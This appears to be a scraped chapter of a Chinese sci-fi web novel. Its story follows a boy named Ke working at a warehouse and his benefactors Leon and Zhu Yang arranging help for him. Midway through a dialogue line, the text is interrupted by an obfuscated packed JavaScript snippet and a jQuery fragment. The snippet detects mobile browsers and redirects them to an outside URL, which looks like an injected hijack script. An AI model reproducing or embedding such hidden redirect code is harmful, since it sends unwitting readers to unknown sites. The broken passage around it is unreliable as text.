第二天一早,这早是很早,天蒙蒙的亮的时候,而克已经在了。


    在哪儿?在东侧的一家货仓附近。


    他蹲在外街东侧一家货仓的侧门旁边,右手腕上还贴着昨晚赫莲德给他用过的固定膜,颜色已经有些掉色了,像是他昨晚睡觉都没有把它揭掉。


    他把外套的帽子拉起来,把头缩进去,他不想别人看见他狼狈的样子。


    他站着等了一会儿,等着里面的人来开门。


    货仓的侧门是厚重的合金材质,漆成了和墙面相近的深色,不仔细看几乎找不到门缝,但克闭着眼也能找到,他在这里已经打了快四周的零工了,每天清晨六点来,等仓管开门,然后跟着一起把当天到货的箱子从停机坪搬进仓库,再把需要出货的按单子分拣好,搬上运输车。


    这大半天的活,能管一顿午饭,有时候仓管心情好,会多给一点零钱,有时候什么都没有。


    侧门开了,出来的是个体型壮实的中年雄性,虎类血统,看见克蹲在那里,低头扫了他一眼,“来了,今天到货多,动作快点。”


    “好。”克站起来,拍了拍外套上的尘,跟进去。


    货仓里的灯是白色的冷光,把里面照得很亮。


    一排一排的货架一直延伸到尽头,一块空地上已经停了两辆大型的运输车,货箱整整齐齐地码在排列架上,等着被搬下来。


    仓管指了指最里面的那一排,“先把那边昨天没整理完的清一下,再来搬新到的。”


    克应了一声,走进去。


    那些货箱是一种密封的深色材质,外壁印着货运编号,单个箱子不算太重,但一摞摞码在一起,搬起来要使劲。


    他把帽子往后推了推,找好角度,把第一摞的最上面那个抱下来,搬到对应的货架上,然后是第二个,第三个。


    右手腕在抱第三个箱子的时候传来了一点钝痛,他皱了下眉,换了一个着力点,用左手多分担了一些力道,继续搬。


    他不是第一次感觉到那种钝痛,那块淤伤是十几天前积下来的,那天他搬了一件超过他体能上限的货,落地的时候没稳住,手腕先撑在了地上,当时没太当回事,后来就一直没好透。


    昨晚那个赫莲德公爵帮他处理过之后,今早起来感觉好了一些,但动作大了还是会有感觉。


    他把这件事压下去,继续搬着。


    货仓里没有其他人,就他一个在动,仓管坐在进门处的小隔间里喝茶,偶尔抬头扫一眼,看见他在动,就重新低下头去。


    克搬完了内侧那一排,走出来,去空地那边开始卸新到的货。


    运输车的后舱门打开,里面的箱子码得比仓库里的整齐,他爬上去,把最外面的一排推到边缘,跳下来,一个一个抱进去。


    太阳开始爬上天幕,透过隔离网落下来,把他的影子拉得很长。


    他抱着一个箱子往里走,经过货架旁边的一面金属挡板的时候,通过那面挡板的反光,他看见了自己的样子,外套旧的,领口有一道被什么东西划过去的浅痕,帽子拉起来的时候耳后那块有个标记隐约可见,他的个子不矮,但整个人是缩着的,像是没有长开。


    他看了自己看了几秒,然后把箱子放上货架,转过身,就继续往外走。


    -


    希克斯·戈登收到莱昂的消息是当天清晨七点。


    他是被消息提示音吵醒的,他揉着眼睛把光脑拿过来,看见发件人是莱昂,立刻清醒了,在床上坐起来。


    消息不长,只有两行。


    第一行:璨华道外街东侧货仓,有个130岁的少年在打零工,杂血统,手腕受伤,家里不管他。


    第二行:给他找个合适的事做,稳定的,不要让他搬重物,工钱走公司的账,不用他知道。


    希克斯把这两行字看了两遍,然后在被子里坐着发了一会儿呆。


    他认识莱昂这么多年,收到过莱昂无数条消息,大多数是关于生意的,是数字,是指令,是某种冷硬的交换。


    但这两行字不一样。


    尤其是最后那半句,不用他知道。


    希克斯把光脑放下,从床上起来,走到窗边,核心星区的清晨比夜里安静很多,轨道上的车流稀疏,城市像是刚睡醒还没来得及把那层松散收拾好。


    他想了一会儿,回到床边,重新拿起光脑,给他管着璨华道事务的人发了一条消息,让他去外廊东侧的货仓打听一下那个少年的情况,然后给自己的俱乐部发了另一条,让后勤那边看看有没有适合未成年雄性做的活。


    发完,他去洗漱,顺手把昨晚没喝完的那杯茶倒掉,然后换了一壶新的,坐在窗边等消息。


    大约四十分钟后,他管事的人回了消息,说那个少年叫克,在外街东侧的货仓做零工已经将近四周,每天清晨六点到中午,货仓的仓管反映他干活卖力,但血统混杂,他的发育迟缓,手腕有旧伤,今天还在搬货。


    希克斯把那条消息又看了一遍,然后给俱乐部的后勤主管发了条消息,让他在俱乐部的日常运营里腾出一个位置来,不是外场的,是内场负责整理资料和跑腿传话的,适合少年雄性,工钱按正常标准来,不需要注明谁给的工资。


    后来后勤主管回了个收到。


    希克斯喝了口茶,把光脑放在桌上,想起了那个在俱乐部天花板上砸下来的姑娘,想起了莱昂当时把她从一堆碎石里捞起来时那个他从未见过的动作,想起了她当时那张懵里懵懂却没有一点怯色的脸。


    他摇了摇头,把那些画面压下去,把俱乐部的事务重新拉开来,开始处理今天的工作。


    但在所有的事务之前,他给管事的人发了最后一条消息,让他亲自去一趟货仓,把那个叫克的少年带来见他。


    —


    祝央是在早饭后知道这件事的。


    管家机器人端着餐盘滑过来的时候,莱昂已经在看光脑了,他吃完了大半,把剩下的推到一边,把光脑摆在桌上处理什么,神情和往常一样,没有任何不同。


    祝央喝着牛奶,往那块光脑屏幕上扫了一眼,没看清内容,只看见最上面有一条希克斯·戈登发来的消息,说已经安排好了。


    她放下牛奶,“莱昂。”


    “嗯。”他没抬头。


    “希克斯那边,是关于克的事吗?”


    莱昂这才把光脑翻过去,抬起眼看她,“你怎么知道。”


    “猜的。”祝央把手边的面包掰了一块,“昨晚你说会通知希克斯,我就想着,今天大概会有消息。”


    莱昂没有解释更多,只是说,“希克斯那边已经安排好了,今天上午他的人会去货仓找他,给他一个正经的活做,稳定的,不重,工钱按时发。”他顿了一下,“这些他不会知道是我安排的。”


    “为什么不让他知道?”


    “知道了……”莱昂重新拿起光脑,“他会觉得欠了东西,130岁,背着这种欠债的感觉长大,不好。”他说。


    她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383463|198881||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    把面包放下,重新看了看那块光脑屏幕,“那他就会一直以为是希克斯帮了他。”


    “希克斯帮了他。”莱昂说,“只是我付了工钱,这不矛盾。”


    祝央想了想,没有再说什么,重新端起了牛奶。


    但她把那件事在心里搁着,搁了整个上午,一直到赫莲德带着她结束上午的课程,白彦从舰船那边回来,几个人重新聚在客厅,她终于开口了。


    “我想去璨华道一趟。”她说,“去看看克,“她停了一下,“就是想看看他还好不好,不做别的。”


    莱昂抬头看了她一眼,“希克斯那边今天上午就会把人带走,你去货仓找不到他了。”


    “那就去希克斯那里。”祝央说,“顺便让克知道,那条消息是我们告诉希克斯的,不是偶然。”


    莱昂放下光脑,“我刚才说,不让他知道来源。”


    “我知道你说了。”祝央看着他,“但我不想让他觉得那是一件从天而降的没来由的好事,他已经活在一个太多事情没来由的环境里了。”她把这句话说得很慢,一个字一个字的,“如果有人帮了他,他应该知道这个世界上真的有人看见了他,不是运气,是真的有人注意到他了,这对他来说不一样。”


    客厅里安静了一会儿。


    白彦靠在沙发上,没有说话,只是把尾巴收拢了一下。


    赫莲德放下手里的茶杯,看了祝央一眼,再看了看莱昂。


    莱昂沉默了片刻,重新拿起光脑,给希克斯发了一条消息,然后把光脑放下,“下午去,我陪你。”


    祝央点了点头,“好。”


    她站起来,去窗边站了一会儿,看着外面核心星区正午的天光,那种光是均匀的,打在城市的每一处,不挑地方,不挑人,洒在每个人的身上。


    她想起了昨晚克捧着那个橙红色星核灯时的样子,那点暖色把他的掌心照亮了,他低着头,把那个光藏在手心里,像是在藏着一个珍宝。


    她在心里把那个画面过了一遍,然后转过身,“赫莲德,你说的那个援助条款,如果克想用,申请流程复杂吗?”


    赫莲德推了推眼镜,“不算复杂,需要本人的基因档案和一份监护人缺失的证明,然后提交给联邦的培育资助委员会,审核周期大约是两周。”他停了一下,“如果申请人的情况符合条件,资助会以匿名的形式拨付,不需要他知道来源是谁推动的。”


    “那就好。”祝央说,“我想帮他把这个弄起来,如果他愿意的话。”


    莱昂在沙发上没有动,只是开口,“申请材料我让法务团准备,你负责说服他。”他顿了一下,“如果他不愿意,就算了,不强迫。”


    “我知道。“”祝央说。


    白彦把腿从沙发扶手上放下来,重新坐正,“那我下午也去。”


    “你去干什么。”莱昂看他。


    “陪着,“白彦说,“万一那个少年需要有人说两句实在话,比如我昨晚说那些,他可是真的听进去了的,况且我没你那么严肃。”


    莱昂没有反对,只是重新低下头去看光脑。


    柯蒂斯坐在角落,把记录本翻到新的一页,把这段对话的时间节点记下来,然后放下笔,把记录本合上,搁在腿上,没有再动。


    窗外的光更亮了,温度也更高了。


    “你说的倒是没错,他也许会更喜欢你这种开…朗的……”


    “所以…这是我必须要去的理由,没什么是战胜不了的。”